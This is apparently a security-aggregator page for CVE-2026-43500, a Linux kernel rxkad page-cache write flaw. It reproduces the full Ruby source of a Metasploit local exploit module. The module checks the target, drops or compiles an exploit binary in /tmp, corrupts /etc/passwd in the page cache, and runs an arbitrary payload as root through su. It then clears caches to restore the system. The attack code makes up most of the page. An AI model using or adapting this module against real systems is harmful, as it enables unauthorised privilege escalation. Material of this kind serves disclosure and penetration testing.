METASPLOIT 7.8 HIGH

rxkad Page-Cache Write via CVE-2026-43500_MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43500_DIRTY_FRAG-

7.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC authentication subsystem rxkad. When a crafted DATA packet is delivered to an AFRXRPC socket configured with an attacker-controlled rxkad session key, the kernel's...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_43500_DIRTY_FRAG-
Published May 21, 2026 at 19:01

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'rxkad Page-Cache Write via CVE-2026-43500',
'Description' => %q{
CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC
authentication subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC
socket configured with an attacker-controlled rxkad session key, the kernel's
rxkad_verify_packet_1() function performs an in-place 8-byte pcbc(fcrypt) decryption
directly on the page-cache page referenced by the splice offset. Because the decryption
mutates the page in-place without marking it dirty, the corrupted in-memory view is
immediately visible to all processes reading from the page cache. This allows a local
attacker to corrupt the in-memory contents of a SUID binary and escalate privileges to root.
},
'License' => MSF_LICENSE,
'Author' => [
'Hyunwoo Kim', # Discovery
'Giovanni Heward', # Original module
],
'References' => [
['CVE', '2026-43500'],
['URL', 'https://github.com/V4bel/dirtyfrag'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux', 'unix' ],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "'"
},
'Targets' => [[ 'Auto', {} ]],
'DisclosureDate' => '2026-05-08',
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)

register_options([
OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ])
])
end

def check
dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')

return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?

return CheckCode::Unknown('The rxrpc module has not been detected') unless kernel_modules.include?('rxrpc')

kernel_version = Rex::Version.new kernel_release.split('-').first

return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('5.3')

CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
end

def exploit
payload_dir = datastore['WRITABLE_DIR']
fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)

arch = kernel_arch

exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

if live_compile?
print_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2026-43500', 'CVE_2026_43500.c')
upload_and_compile(exploit_file, exploit_c)
else

fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)

vprint_status('Dropping pre-compiled exploit on system...')
exploit_bin = exploit_data('CVE-2026-43500', "CVE_2026_43500_#{arch}")
upload_and_chmodx(exploit_file, exploit_bin)
end

register_file_for_cleanup(exploit_file)

print_status('Trying to patch in-pages /etc/passwd')
# patch the setuid file
response = cmd_exec(exploit_file.to_s)

fail_with(Failure::NotVulnerable, 'The target application seems to be not vulnerable') unless response.include?('Success!')

print_status(%(Trying to run stuff as root: "/usr/bin/su - root -c '#{payload.encoded}'"))
# run the payload
cmd_exec("/usr/bin/su - root -c '#{payload.encoded}'")
end

def on_new_session(session)
print_status('Restoring balance in galaxy')
if session.type.eql?('meterpreter')
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches")
else
session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')
end

super
end

end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.